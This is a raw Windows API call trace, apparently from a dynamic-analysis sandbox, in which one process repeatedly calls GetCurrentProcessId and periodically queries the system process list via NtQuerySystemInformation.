[0194.511] GetCurrentProcessId () returned 0xbf4 [0194.511] GetCurrentProcessId () returned 0xbf4 [0194.511] GetCurrentProcessId () returned 0xbf4 [0194.511] GetCurrentProcessId () returned 0xbf4 [0194.511] GetCurrentProcessId () returned 0xbf4 [0194.511] GetCurrentProcessId () returned 0xbf4 [0194.511] GetCurrentProcessId () returned 0xbf4 [0194.511] GetCurrentProcessId () returned 0xbf4 [0194.511] GetCurrentProcessId () returned 0xbf4 [0194.511] GetCurrentProcessId () returned 0xbf4 [0194.511] GetCurrentProcessId () returned 0xbf4 [0194.511] GetCurrentProcessId () returned 0xbf4 [0194.511] GetCurrentProcessId () returned 0xbf4 [0194.511] GetCurrentProcessId () returned 0xbf4 [0195.089] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x12da3098, Length=0x20000, ResultLength=0x1b7bebb0 | out: SystemInformation=0x12da3098, ResultLength=0x1b7bebb0*=0x1d098) returned 0x0 [0195.091] GetCurrentProcessId () returned 0xbf4 [0195.091] GetCurrentProcessId () returned 0xbf4 [0195.091] GetCurrentProcessId () returned 0xbf4 [0195.091] GetCurrentProcessId () returned 0xbf4 [0195.091] GetCurrentProcessId () returned 0xbf4 [0195.091] GetCurrentProcessId () returned 0xbf4 [0195.091] GetCurrentProcessId () returned 0xbf4 [0195.091] GetCurrentProcessId () returned 0xbf4 [0195.091] GetCurrentProcessId () returned 0xbf4 [0195.091] GetCurrentProcessId () returned 0xbf4 [0195.092] GetCurrentProcessId () returned 0xbf4 [0195.092] GetCurrentProcessId () returned 0xbf4 [0195.092] GetCurrentProcessId () returned 0xbf4 [0195.092] GetCurrentProcessId () returned 0xbf4 [0195.092] GetCurrentProcessId () returned 0xbf4 [0195.092] GetCurrentProcessId () returned 0xbf4 [0195.092] GetCurrentProcessId () returned 0xbf4 [0195.092] GetCurrentProcessId () returned 0xbf4 [0195.092] GetCurrentProcessId () returned 0xbf4 [0195.092] GetCurrentProcessId () returned 0xbf4 [0195.092] GetCurrentProcessId () returned 0xbf4 [0195.092] GetCurrentProcessId () returned 0xbf4 [0195.092] GetCurrentProcessId () returned 0xbf4 [0195.092] GetCurrentProcessId () returned 0xbf4 [0195.092] GetCurrentProcessId () returned 0xbf4 [0195.092] GetCurrentProcessId () returned 0xbf4 [0195.092] GetCurrentProcessId () returned 0xbf4 [0195.092] GetCurrentProcessId () returned 0xbf4 [0195.092] GetCurrentProcessId () returned 0xbf4 [0195.092] GetCurrentProcessId () returned 0xbf4 [0195.092] GetCurrentProcessId () returned 0xbf4 [0195.092] GetCurrentProcessId () returned 0xbf4 [0195.092] GetCurrentProcessId () returned 0xbf4 [0195.092] GetCurrentProcessId () returned 0xbf4 [0195.092] GetCurrentProcessId () returned 0xbf4 [0195.092] GetCurrentProcessId () returned 0xbf4 [0195.092] GetCurrentProcessId () returned 0xbf4 [0195.092] GetCurrentProcessId () returned 0xbf4 [0195.093] GetCurrentProcessId () returned 0xbf4 [0195.093] GetCurrentProcessId () returned 0xbf4 [0195.093] GetCurrentProcessId () returned 0xbf4 [0195.093] GetCurrentProcessId () returned 0xbf4 [0195.093] GetCurrentProcessId () returned 0xbf4 [0195.093] GetCurrentProcessId () returned 0xbf4 [0195.093] GetCurrentProcessId () returned 0xbf4 [0195.093] GetCurrentProcessId () returned 0xbf4 [0195.093] GetCurrentProcessId () returned 0xbf4 [0195.093] GetCurrentProcessId () returned 0xbf4 [0195.093] GetCurrentProcessId () returned 0xbf4 [0195.093] GetCurrentProcessId () returned 0xbf4 [0195.093] GetCurrentProcessId () returned 0xbf4 [0195.093] GetCurrentProcessId () returned 0xbf4 [0195.093] GetCurrentProcessId () returned 0xbf4 [0195.093] GetCurrentProcessId () returned 0xbf4 [0195.093] GetCurrentProcessId () returned 0xbf4 [0195.093] GetCurrentProcessId () returned 0xbf4 [0195.093] GetCurrentProcessId () returned 0xbf4 [0195.093] GetCurrentProcessId () returned 0xbf4 [0195.093] GetCurrentProcessId () returned 0xbf4 [0195.093] GetCurrentProcessId () returned 0xbf4 [0195.093] GetCurrentProcessId () returned 0xbf4 [0195.093] GetCurrentProcessId () returned 0xbf4 [0195.093] GetCurrentProcessId () returned 0xbf4 [0195.093] GetCurrentProcessId () returned 0xbf4 [0195.093] GetCurrentProcessId () returned 0xbf4 [0195.093] GetCurrentProcessId () returned 0xbf4 [0195.093] GetCurrentProcessId () returned 0xbf4 [0195.094] GetCurrentProcessId () returned 0xbf4 [0195.094] GetCurrentProcessId () returned 0xbf4 [0195.094] GetCurrentProcessId () returned 0xbf4 [0195.094] GetCurrentProcessId () returned 0xbf4 [0195.094] GetCurrentProcessId () returned 0xbf4 [0195.094] GetCurrentProcessId () returned 0xbf4 [0195.094] GetCurrentProcessId () returned 0xbf4 [0195.094] GetCurrentProcessId () returned 0xbf4 [0195.094] GetCurrentProcessId () returned 0xbf4 [0195.094] GetCurrentProcessId () returned 0xbf4 [0195.094] GetCurrentProcessId () returned 0xbf4 [0195.094] GetCurrentProcessId () returned 0xbf4 [0195.094] GetCurrentProcessId () returned 0xbf4 [0195.094] GetCurrentProcessId () returned 0xbf4 [0195.094] GetCurrentProcessId () returned 0xbf4 [0195.094] GetCurrentProcessId () returned 0xbf4 [0195.095] GetCurrentProcessId () returned 0xbf4 [0195.095] GetCurrentProcessId () returned 0xbf4 [0195.095] GetCurrentProcessId () returned 0xbf4 [0195.095] GetCurrentProcessId () returned 0xbf4 [0195.095] GetCurrentProcessId () returned 0xbf4 [0195.095] GetCurrentProcessId () returned 0xbf4 [0195.095] GetCurrentProcessId () returned 0xbf4 [0195.095] GetCurrentProcessId () returned 0xbf4 [0195.095] GetCurrentProcessId () returned 0xbf4 [0195.095] GetCurrentProcessId () returned 0xbf4 [0195.095] GetCurrentProcessId () returned 0xbf4 [0195.096] GetCurrentProcessId () returned 0xbf4 [0195.096] GetCurrentProcessId () returned 0xbf4 [0195.096] GetCurrentProcessId () returned 0xbf4 [0195.096] GetCurrentProcessId () returned 0xbf4 [0195.096] GetCurrentProcessId () returned 0xbf4 [0195.096] GetCurrentProcessId () returned 0xbf4 [0195.096] GetCurrentProcessId () returned 0xbf4 [0195.096] GetCurrentProcessId () returned 0xbf4 [0195.096] GetCurrentProcessId () returned 0xbf4 [0195.096] GetCurrentProcessId () returned 0xbf4 [0195.096] GetCurrentProcessId () returned 0xbf4 [0195.096] GetCurrentProcessId () returned 0xbf4 [0195.096] GetCurrentProcessId () returned 0xbf4 [0195.096] GetCurrentProcessId () returned 0xbf4 [0195.687] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x12da3098, Length=0x20000, ResultLength=0x1b7bebb0 | out: SystemInformation=0x12da3098, ResultLength=0x1b7bebb0*=0x1d048) returned 0x0 [0195.693] GetCurrentProcessId () returned 0xbf4 [0195.693] GetCurrentProcessId () returned 0xbf4 [0195.693] GetCurrentProcessId () returned 0xbf4 [0195.693] GetCurrentProcessId () returned 0xbf4 [0195.693] GetCurrentProcessId () returned 0xbf4 [0195.693] GetCurrentProcessId () returned 0xbf4 [0195.693] GetCurrentProcessId () returned 0xbf4 [0195.693] GetCurrentProcessId () returned 0xbf4 [0195.693] GetCurrentProcessId () returned 0xbf4 [0195.693] GetCurrentProcessId () returned 0xbf4 [0195.693] GetCurrentProcessId () returned 0xbf4 [0195.693] GetCurrentProcessId () returned 0xbf4 [0195.694] GetCurrentProcessId () returned 0xbf4 [0195.694] GetCurrentProcessId () returned 0xbf4 [0195.694] GetCurrentProcessId () returned 0xbf4 [0195.694] GetCurrentProcessId () returned 0xbf4 [0195.694] GetCurrentProcessId () returned 0xbf4 [0195.694] GetCurrentProcessId () returned 0xbf4 [0195.694] GetCurrentProcessId () returned 0xbf4 [0195.694] GetCurrentProcessId () returned 0xbf4 [0195.694] GetCurrentProcessId () returned 0xbf4 [0195.694] GetCurrentProcessId () returned 0xbf4 [0195.694] GetCurrentProcessId () returned 0xbf4 [0195.694] GetCurrentProcessId () returned 0xbf4 [0195.694] GetCurrentProcessId () returned 0xbf4 [0195.694] GetCurrentProcessId () returned 0xbf4 [0195.694] GetCurrentProcessId () returned 0xbf4 [0195.694] GetCurrentProcessId () returned 0xbf4 [0195.694] GetCurrentProcessId () returned 0xbf4 [0195.694] GetCurrentProcessId () returned 0xbf4 [0195.694] GetCurrentProcessId () returned 0xbf4 [0195.694] GetCurrentProcessId () returned 0xbf4 [0195.694] GetCurrentProcessId () returned 0xbf4 [0195.694] GetCurrentProcessId () returned 0xbf4 [0195.694] GetCurrentProcessId () returned 0xbf4 [0195.694] GetCurrentProcessId () returned 0xbf4 [0195.694] GetCurrentProcessId () returned 0xbf4 [0195.694] GetCurrentProcessId () returned 0xbf4 [0195.694] GetCurrentProcessId () returned 0xbf4 [0195.694] GetCurrentProcessId () returned 0xbf4 [0195.694] GetCurrentProcessId () returned 0xbf4 [0195.695] GetCurrentProcessId () returned 0xbf4 [0195.695] GetCurrentProcessId () returned 0xbf4 [0195.695] GetCurrentProcessId () returned 0xbf4 [0195.695] GetCurrentProcessId () returned 0xbf4 [0195.695] GetCurrentProcessId () returned 0xbf4 [0195.695] GetCurrentProcessId () returned 0xbf4 [0195.695] GetCurrentProcessId () returned 0xbf4 [0195.695] GetCurrentProcessId () returned 0xbf4 [0195.695] GetCurrentProcessId () returned 0xbf4 [0195.695] GetCurrentProcessId () returned 0xbf4 [0195.695] GetCurrentProcessId () returned 0xbf4 [0195.695] GetCurrentProcessId () returned 0xbf4 [0195.695] GetCurrentProcessId () returned 0xbf4 [0195.695] GetCurrentProcessId () returned 0xbf4 [0195.695] GetCurrentProcessId () returned 0xbf4 [0195.695] GetCurrentProcessId () returned 0xbf4 [0195.695] GetCurrentProcessId () returned 0xbf4 [0195.695] GetCurrentProcessId () returned 0xbf4 [0195.695] GetCurrentProcessId () returned 0xbf4 [0195.695] GetCurrentProcessId () returned 0xbf4 [0195.695] GetCurrentProcessId () returned 0xbf4 [0195.695] GetCurrentProcessId () returned 0xbf4 [0195.695] GetCurrentProcessId () returned 0xbf4 [0195.695] GetCurrentProcessId () returned 0xbf4 [0195.695] GetCurrentProcessId () returned 0xbf4 [0195.695] GetCurrentProcessId () returned 0xbf4 [0195.695] GetCurrentProcessId () returned 0xbf4 [0195.695] GetCurrentProcessId () returned 0xbf4 [0195.695] GetCurrentProcessId () returned 0xbf4 [0195.696] GetCurrentProcessId () returned 0xbf4 [0195.696] GetCurrentProcessId () returned 0xbf4 [0195.696] GetCurrentProcessId () returned 0xbf4 [0195.696] GetCurrentProcessId () returned 0xbf4 [0195.696] GetCurrentProcessId () returned 0xbf4 [0195.696] GetCurrentProcessId () returned 0xbf4 [0195.696] GetCurrentProcessId () returned 0xbf4 [0195.696] GetCurrentProcessId () returned 0xbf4 [0195.696] GetCurrentProcessId () returned 0xbf4 [0195.696] GetCurrentProcessId () returned 0xbf4 [0195.696] GetCurrentProcessId () returned 0xbf4 [0195.696] GetCurrentProcessId () returned 0xbf4 [0195.696] GetCurrentProcessId () returned 0xbf4 [0195.696] GetCurrentProcessId () returned 0xbf4 [0195.696] GetCurrentProcessId () returned 0xbf4 [0195.696] GetCurrentProcessId () returned 0xbf4 [0195.696] GetCurrentProcessId () returned 0xbf4 [0195.696] GetCurrentProcessId () returned 0xbf4 [0195.696] GetCurrentProcessId () returned 0xbf4 [0195.696] GetCurrentProcessId () returned 0xbf4 [0195.696] GetCurrentProcessId () returned 0xbf4 [0195.696] GetCurrentProcessId () returned 0xbf4 [0195.696] GetCurrentProcessId () returned 0xbf4 [0195.696] GetCurrentProcessId () returned 0xbf4 [0195.696] GetCurrentProcessId () returned 0xbf4 [0195.696] GetCurrentProcessId () returned 0xbf4 [0195.696] GetCurrentProcessId () returned 0xbf4 [0195.696] GetCurrentProcessId () returned 0xbf4 [0195.696] GetCurrentProcessId () returned 0xbf4 [0195.697] GetCurrentProcessId () returned 0xbf4 [0195.697] GetCurrentProcessId () returned 0xbf4 [0195.697] GetCurrentProcessId () returned 0xbf4 [0195.697] GetCurrentProcessId () returned 0xbf4 [0195.697] GetCurrentProcessId () returned 0xbf4 [0195.697] GetCurrentProcessId () returned 0xbf4 [0195.697] GetCurrentProcessId () returned 0xbf4 [0195.697] GetCurrentProcessId () returned 0xbf4 [0195.697] GetCurrentProcessId () returned 0xbf4 [0196.384] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x12da3098, Length=0x20000, ResultLength=0x1b7bebb0 | out: SystemInformation=0x12da3098, ResultLength=0x1b7bebb0*=0x1d048) returned 0x0 [0196.390] GetCurrentProcessId () returned 0xbf4 [0196.390] GetCurrentProcessId () returned 0xbf4 [0196.390] GetCurrentProcessId () returned 0xbf4 [0196.390] GetCurrentProcessId () returned 0xbf4 [0196.390] GetCurrentProcessId () returned 0xbf4 [0196.391] GetCurrentProcessId () returned 0xbf4 [0196.391] GetCurrentProcessId () returned 0xbf4 [0196.391] GetCurrentProcessId () returned 0xbf4 [0196.391] GetCurrentProcessId () returned 0xbf4 [0196.391] GetCurrentProcessId () returned 0xbf4 [0196.391] GetCurrentProcessId () returned 0xbf4 [0196.391] GetCurrentProcessId () returned 0xbf4 [0196.391] GetCurrentProcessId () returned 0xbf4 [0196.391] GetCurrentProcessId () returned 0xbf4 [0196.391] GetCurrentProcessId () returned 0xbf4 [0196.391] GetCurrentProcessId () returned 0xbf4 [0196.391] GetCurrentProcessId () returned 0xbf4 [0196.391] GetCurrentProcessId () returned 0xbf4 [0196.391] GetCurrentProcessId () returned 0xbf4 [0196.391] GetCurrentProcessId () returned 0xbf4 [0196.391] GetCurrentProcessId () returned 0xbf4 [0196.392] GetCurrentProcessId () returned 0xbf4 [0196.392] GetCurrentProcessId () returned 0xbf4 [0196.392] GetCurrentProcessId () returned 0xbf4 [0196.392] GetCurrentProcessId () returned 0xbf4 [0196.392] GetCurrentProcessId () returned 0xbf4 [0196.392] GetCurrentProcessId () returned 0xbf4 [0196.392] GetCurrentProcessId () returned 0xbf4 [0196.392] GetCurrentProcessId () returned 0xbf4 [0196.392] GetCurrentProcessId () returned 0xbf4 [0196.392] GetCurrentProcessId () returned 0xbf4 [0196.392] GetCurrentProcessId () returned 0xbf4 [0196.392] GetCurrentProcessId () returned 0xbf4 [0196.392] GetCurrentProcessId () returned 0xbf4 [0196.392] GetCurrentProcessId () returned 0xbf4 [0196.392] GetCurrentProcessId () returned 0xbf4 [0196.392] GetCurrentProcessId () returned 0xbf4 [0196.392] GetCurrentProcessId () returned 0xbf4 [0196.392] GetCurrentProcessId () returned 0xbf4 [0196.392] GetCurrentProcessId () returned 0xbf4 [0196.392] GetCurrentProcessId () returned 0xbf4 [0196.392] GetCurrentProcessId () returned 0xbf4 [0196.392] GetCurrentProcessId () returned 0xbf4 [0196.392] GetCurrentProcessId () returned 0xbf4 [0196.392] GetCurrentProcessId () returned 0xbf4 [0196.392] GetCurrentProcessId () returned 0xbf4 [0196.392] GetCurrentProcessId () returned 0xbf4 [0196.392] GetCurrentProcessId () returned 0xbf4 [0196.392] GetCurrentProcessId () returned 0xbf4 [0196.392] GetCurrentProcessId () returned 0xbf4 [0196.393] GetCurrentProcessId () returned 0xbf4 [0196.393] GetCurrentProcessId () returned 0xbf4 [0196.393] GetCurrentProcessId () returned 0xbf4 [0196.393] GetCurrentProcessId () returned 0xbf4 [0196.393] GetCurrentProcessId () returned 0xbf4 [0196.393] GetCurrentProcessId () returned 0xbf4 [0196.393] GetCurrentProcessId () returned 0xbf4 [0196.393] GetCurrentProcessId () returned 0xbf4 [0196.393] GetCurrentProcessId () returned 0xbf4 [0196.393] GetCurrentProcessId () returned 0xbf4 [0196.393] GetCurrentProcessId () returned 0xbf4 [0196.393] GetCurrentProcessId () returned 0xbf4 [0196.393] GetCurrentProcessId () returned 0xbf4 [0196.393] GetCurrentProcessId () returned 0xbf4 [0196.393] GetCurrentProcessId () returned 0xbf4 [0196.393] GetCurrentProcessId () returned 0xbf4 [0196.393] GetCurrentProcessId () returned 0xbf4 [0196.393] GetCurrentProcessId () returned 0xbf4 [0196.393] GetCurrentProcessId () returned 0xbf4 [0196.393] GetCurrentProcessId () returned 0xbf4 [0196.393] GetCurrentProcessId () returned 0xbf4 [0196.393] GetCurrentProcessId () returned 0xbf4 [0196.393] GetCurrentProcessId () returned 0xbf4 [0196.393] GetCurrentProcessId () returned 0xbf4 [0196.393] GetCurrentProcessId () returned 0xbf4 [0196.393] GetCurrentProcessId () returned 0xbf4 [0196.393] GetCurrentProcessId () returned 0xbf4 [0196.394] GetCurrentProcessId () returned 0xbf4 [0196.394] GetCurrentProcessId () returned 0xbf4 [0196.394] GetCurrentProcessId () returned 0xbf4 [0196.394] GetCurrentProcessId () returned 0xbf4 [0196.394] GetCurrentProcessId () returned 0xbf4 [0196.394] GetCurrentProcessId () returned 0xbf4 [0196.394] GetCurrentProcessId () returned 0xbf4 [0196.394] GetCurrentProcessId () returned 0xbf4 [0196.394] GetCurrentProcessId () returned 0xbf4 [0196.394] GetCurrentProcessId () returned 0xbf4 [0196.394] GetCurrentProcessId () returned 0xbf4 [0196.394] GetCurrentProcessId () returned 0xbf4 [0196.394] GetCurrentProcessId () returned 0xbf4 [0196.394] GetCurrentProcessId () returned 0xbf4 [0196.394] GetCurrentProcessId () returned 0xbf4 [0196.394] GetCurrentProcessId () returned 0xbf4 [0196.394] GetCurrentProcessId () returned 0xbf4 [0196.394] GetCurrentProcessId () returned 0xbf4 [0196.394] GetCurrentProcessId () returned 0xbf4 [0196.394] GetCurrentProcessId () returned 0xbf4 [0196.394] GetCurrentProcessId () returned 0xbf4 [0196.394] GetCurrentProcessId () returned 0xbf4 [0196.394] GetCurrentProcessId () returned 0xbf4 [0196.394] GetCurrentProcessId () returned 0xbf4 [0196.394] GetCurrentProcessId () returned 0xbf4 [0196.394] GetCurrentProcessId () returned 0xbf4 [0196.394] GetCurrentProcessId () returned 0xbf4 [0196.394] GetCurrentProcessId () returned 0xbf4 [0196.395] GetCurrentProcessId () returned 0xbf4 [0196.395] GetCurrentProcessId () returned 0xbf4 [0196.395] GetCurrentProcessId () returned 0xbf4 [0197.019] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x12da3098, Length=0x20000, ResultLength=0x1b7bebb0 | out: SystemInformation=0x12da3098, ResultLength=0x1b7bebb0*=0x1d048) returned 0x0 [0197.024] GetCurrentProcessId () returned 0xbf4 [0197.024] GetCurrentProcessId () returned 0xbf4 [0197.024] GetCurrentProcessId () returned 0xbf4 [0197.024] GetCurrentProcessId () returned 0xbf4 [0197.024] GetCurrentProcessId () returned 0xbf4 [0197.024] GetCurrentProcessId () returned 0xbf4 [0197.024] GetCurrentProcessId () returned 0xbf4 [0197.024] GetCurrentProcessId () returned 0xbf4 [0197.024] GetCurrentProcessId () returned 0xbf4 [0197.024] GetCurrentProcessId () returned 0xbf4 [0197.024] GetCurrentProcessId () returned 0xbf4 [0197.024] GetCurrentProcessId () returned 0xbf4 [0197.024] GetCurrentProcessId () returned 0xbf4 [0197.024] GetCurrentProcessId () returned 0xbf4 [0197.024] GetCurrentProcessId () returned 0xbf4 [0197.024] GetCurrentProcessId () returned 0xbf4 [0197.024] GetCurrentProcessId () returned 0xbf4 [0197.024] GetCurrentProcessId () returned 0xbf4 [0197.025] GetCurrentProcessId () returned 0xbf4 [0197.025] GetCurrentProcessId () returned 0xbf4 [0197.025] GetCurrentProcessId () returned 0xbf4 [0197.025] GetCurrentProcessId () returned 0xbf4 [0197.025] GetCurrentProcessId () returned 0xbf4 [0197.025] GetCurrentProcessId () returned 0xbf4 [0197.025] GetCurrentProcessId () returned 0xbf4 [0197.025] GetCurrentProcessId () returned 0xbf4 [0197.025] GetCurrentProcessId () returned 0xbf4 [0197.025] GetCurrentProcessId () returned 0xbf4 [0197.025] GetCurrentProcessId () returned 0xbf4 [0197.025] GetCurrentProcessId () returned 0xbf4 [0197.025] GetCurrentProcessId () returned 0xbf4 [0197.025] GetCurrentProcessId () returned 0xbf4 [0197.025] GetCurrentProcessId () returned 0xbf4 [0197.025] GetCurrentProcessId () returned 0xbf4 [0197.025] GetCurrentProcessId () returned 0xbf4 [0197.025] GetCurrentProcessId () returned 0xbf4 [0197.025] GetCurrentProcessId () returned 0xbf4 [0197.025] GetCurrentProcessId () returned 0xbf4 [0197.025] GetCurrentProcessId () returned 0xbf4 [0197.025] GetCurrentProcessId () returned 0xbf4 [0197.025] GetCurrentProcessId () returned 0xbf4 [0197.025] GetCurrentProcessId () returned 0xbf4 [0197.025] GetCurrentProcessId () returned 0xbf4 [0197.025] GetCurrentProcessId () returned 0xbf4 [0197.025] GetCurrentProcessId () returned 0xbf4 [0197.025] GetCurrentProcessId () returned 0xbf4 [0197.025] GetCurrentProcessId () returned 0xbf4 [0197.025] GetCurrentProcessId () returned 0xbf4 [0197.025] GetCurrentProcessId () returned 0xbf4 [0197.025] GetCurrentProcessId () returned 0xbf4 [0197.025] GetCurrentProcessId () returned 0xbf4 [0197.025] GetCurrentProcessId () returned 0xbf4 [0197.025] GetCurrentProcessId () returned 0xbf4 [0197.025] GetCurrentProcessId () returned 0xbf4 [0197.025] GetCurrentProcessId () returned 0xbf4 [0197.025] GetCurrentProcessId () returned 0xbf4 [0197.026] GetCurrentProcessId () returned 0xbf4 [0197.026] GetCurrentProcessId () returned 0xbf4 [0197.026] GetCurrentProcessId () returned 0xbf4 [0197.026] GetCurrentProcessId () returned 0xbf4 [0197.026] GetCurrentProcessId () returned 0xbf4 [0197.026] GetCurrentProcessId () returned 0xbf4 [0197.026] GetCurrentProcessId () returned 0xbf4 [0197.026] GetCurrentProcessId () returned 0xbf4 [0197.026] GetCurrentProcessId () returned 0xbf4 [0197.026] GetCurrentProcessId () returned 0xbf4 [0197.026] GetCurrentProcessId () returned 0xbf4 [0197.026] GetCurrentProcessId () returned 0xbf4 [0197.026] GetCurrentProcessId () returned 0xbf4 [0197.026] GetCurrentProcessId () returned 0xbf4 [0197.026] GetCurrentProcessId () returned 0xbf4 [0197.026] GetCurrentProcessId () returned 0xbf4 [0197.026] GetCurrentProcessId () returned 0xbf4 [0197.026] GetCurrentProcessId () returned 0xbf4 [0197.026] GetCurrentProcessId () returned 0xbf4 [0197.026] GetCurrentProcessId () returned 0xbf4 [0197.026] GetCurrentProcessId () returned 0xbf4 [0197.026] GetCurrentProcessId () returned 0xbf4 [0197.026] GetCurrentProcessId () returned 0xbf4 [0197.026] GetCurrentProcessId () returned 0xbf4 [0197.026] GetCurrentProcessId () returned 0xbf4 [0197.026] GetCurrentProcessId () returned 0xbf4 [0197.026] GetCurrentProcessId () returned 0xbf4 [0197.026] GetCurrentProcessId () returned 0xbf4 [0197.026] GetCurrentProcessId () returned 0xbf4 [0197.026] GetCurrentProcessId () returned 0xbf4 [0197.026] GetCurrentProcessId () returned 0xbf4 [0197.026] GetCurrentProcessId () returned 0xbf4 [0197.026] GetCurrentProcessId () returned 0xbf4 [0197.026] GetCurrentProcessId () returned 0xbf4 [0197.026] GetCurrentProcessId () returned 0xbf4 [0197.026] GetCurrentProcessId () returned 0xbf4 [0197.026] GetCurrentProcessId () returned 0xbf4 [0197.027] GetCurrentProcessId () returned 0xbf4 [0197.027] GetCurrentProcessId () returned 0xbf4 [0197.027] GetCurrentProcessId () returned 0xbf4 [0197.027] GetCurrentProcessId () returned 0xbf4 [0197.027] GetCurrentProcessId () returned 0xbf4 [0197.027] GetCurrentProcessId () returned 0xbf4 [0197.027] GetCurrentProcessId () returned 0xbf4 [0197.027] GetCurrentProcessId () returned 0xbf4 [0197.027] GetCurrentProcessId () returned 0xbf4 [0197.027] GetCurrentProcessId () returned 0xbf4 [0197.027] GetCurrentProcessId () returned 0xbf4 [0197.027] GetCurrentProcessId () returned 0xbf4 [0197.027] GetCurrentProcessId () returned 0xbf4 [0197.027] GetCurrentProcessId () returned 0xbf4 [0197.027] GetCurrentProcessId () returned 0xbf4 [0197.688] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x12da3098, Length=0x20000, ResultLength=0x1b7bebb0 | out: SystemInformation=0x12da3098, ResultLength=0x1b7bebb0*=0x1d048) returned 0x0 [0197.691] GetCurrentProcessId () returned 0xbf4 [0197.691] GetCurrentProcessId () returned 0xbf4 [0197.691] GetCurrentProcessId () returned 0xbf4 [0197.691] GetCurrentProcessId () returned 0xbf4 [0197.691] GetCurrentProcessId () returned 0xbf4 [0197.691] GetCurrentProcessId () returned 0xbf4 [0197.691] GetCurrentProcessId () returned 0xbf4 [0197.691] GetCurrentProcessId () returned 0xbf4 [0197.691] GetCurrentProcessId () returned 0xbf4 [0197.691] GetCurrentProcessId () returned 0xbf4 [0197.691] GetCurrentProcessId () returned 0xbf4 [0197.691] GetCurrentProcessId () returned 0xbf4 [0197.691] GetCurrentProcessId () returned 0xbf4 [0197.691] GetCurrentProcessId () returned 0xbf4 [0197.691] GetCurrentProcessId () returned 0xbf4 [0197.691] GetCurrentProcessId () returned 0xbf4 [0197.691] GetCurrentProcessId () returned 0xbf4 [0197.691] GetCurrentProcessId () returned 0xbf4 [0197.691] GetCurrentProcessId () returned 0xbf4 [0197.691] GetCurrentProcessId () returned 0xbf4 [0197.691] GetCurrentProcessId () returned 0xbf4 [0197.691] GetCurrentProcessId () returned 0xbf4 [0197.691] GetCurrentProcessId () returned 0xbf4 [0197.691] GetCurrentProcessId () returned 0xbf4 [0197.691] GetCurrentProcessId () returned 0xbf4 [0197.691] GetCurrentProcessId () returned 0xbf4 [0197.691] GetCurrentProcessId () returned 0xbf4 [0197.691] GetCurrentProcessId () returned 0xbf4 [0197.691] GetCurrentProcessId () returned 0xbf4 [0197.691] GetCurrentProcessId () returned 0xbf4 [0197.691] GetCurrentProcessId () returned 0xbf4 [0197.691] GetCurrentProcessId () returned 0xbf4 [0197.691] GetCurrentProcessId () returned 0xbf4 [0197.691] GetCurrentProcessId () returned 0xbf4 [0197.692] GetCurrentProcessId () returned 0xbf4 [0197.692] GetCurrentProcessId () returned 0xbf4 [0197.692] GetCurrentProcessId () returned 0xbf4 [0197.692] GetCurrentProcessId () returned 0xbf4 [0197.692] GetCurrentProcessId () returned 0xbf4 [0197.692] GetCurrentProcessId () returned 0xbf4 [0197.692] GetCurrentProcessId () returned 0xbf4 [0197.692] GetCurrentProcessId () returned 0xbf4 [0197.692] GetCurrentProcessId () returned 0xbf4 [0197.692] GetCurrentProcessId () returned 0xbf4 [0197.692] GetCurrentProcessId () returned 0xbf4 [0197.692] GetCurrentProcessId () returned 0xbf4 [0197.692] GetCurrentProcessId () returned 0xbf4 [0197.692] GetCurrentProcessId () returned 0xbf4 [0197.692] GetCurrentProcessId () returned 0xbf4 [0197.692] GetCurrentProcessId () returned 0xbf4 [0197.692] GetCurrentProcessId () returned 0xbf4 [0197.692] GetCurrentProcessId () returned 0xbf4 [0197.692] GetCurrentProcessId () returned 0xbf4 [0197.692] GetCurrentProcessId () returned 0xbf4 [0197.692] GetCurrentProcessId () returned 0xbf4 [0197.692] GetCurrentProcessId () returned 0xbf4 [0197.692] GetCurrentProcessId () returned 0xbf4 [0197.692] GetCurrentProcessId () returned 0xbf4 [0197.692] GetCurrentProcessId () returned 0xbf4 [0197.692] GetCurrentProcessId () returned 0xbf4 [0197.692] GetCurrentProcessId () returned 0xbf4 [0197.692] GetCurrentProcessId () returned 0xbf4 [0197.692] GetCurrentProcessId () returned 0xbf4 [0197.692] GetCurrentProcessId () returned 0xbf4 [0197.692] GetCurrentProcessId () returned 0xbf4 [0197.692] GetCurrentProcessId () returned 0xbf4 [0197.692] GetCurrentProcessId () returned 0xbf4 [0197.692] GetCurrentProcessId () returned 0xbf4 [0197.693] GetCurrentProcessId () returned 0xbf4 [0197.693] GetCurrentProcessId () returned 0xbf4 [0197.693] GetCurrentProcessId () returned 0xbf4 [0197.693] GetCurrentProcessId () returned 0xbf4 [0197.693] GetCurrentProcessId () returned 0xbf4 [0197.693] GetCurrentProcessId () returned 0xbf4 [0197.693] GetCurrentProcessId () returned 0xbf4 [0197.693] GetCurrentProcessId () returned 0xbf4 [0197.693] GetCurrentProcessId () returned 0xbf4 [0197.693] GetCurrentProcessId () returned 0xbf4 [0197.693] GetCurrentProcessId () returned 0xbf4 [0197.693] GetCurrentProcessId () returned 0xbf4 [0197.693] GetCurrentProcessId () returned 0xbf4 [0197.693] GetCurrentProcessId () returned 0xbf4 [0197.693] GetCurrentProcessId () returned 0xbf4 [0197.693] GetCurrentProcessId () returned 0xbf4 [0197.693] GetCurrentProcessId () returned 0xbf4 [0197.693] GetCurrentProcessId () returned 0xbf4 [0197.693] GetCurrentProcessId () returned 0xbf4 [0197.693] GetCurrentProcessId () returned 0xbf4 [0197.693] GetCurrentProcessId () returned 0xbf4 [0197.693] GetCurrentProcessId () returned 0xbf4 [0197.693] GetCurrentProcessId () returned 0xbf4 [0197.693] GetCurrentProcessId () returned 0xbf4 [0197.693] GetCurrentProcessId () returned 0xbf4 [0197.693] GetCurrentProcessId () returned 0xbf4 [0197.693] GetCurrentProcessId () returned 0xbf4 [0197.693] GetCurrentProcessId () returned 0xbf4 [0197.693] GetCurrentProcessId () returned 0xbf4 [0197.693] GetCurrentProcessId () returned 0xbf4 [0197.693] GetCurrentProcessId () returned 0xbf4 [0197.693] GetCurrentProcessId () returned 0xbf4 [0197.693] GetCurrentProcessId () returned 0xbf4 [0197.693] GetCurrentProcessId () returned 0xbf4 [0197.694] GetCurrentProcessId () returned 0xbf4 [0197.694] GetCurrentProcessId () returned 0xbf4 [0197.694] GetCurrentProcessId () returned 0xbf4 [0197.694] GetCurrentProcessId () returned 0xbf4 [0197.694] GetCurrentProcessId () returned 0xbf4 [0197.694] GetCurrentProcessId () returned 0xbf4 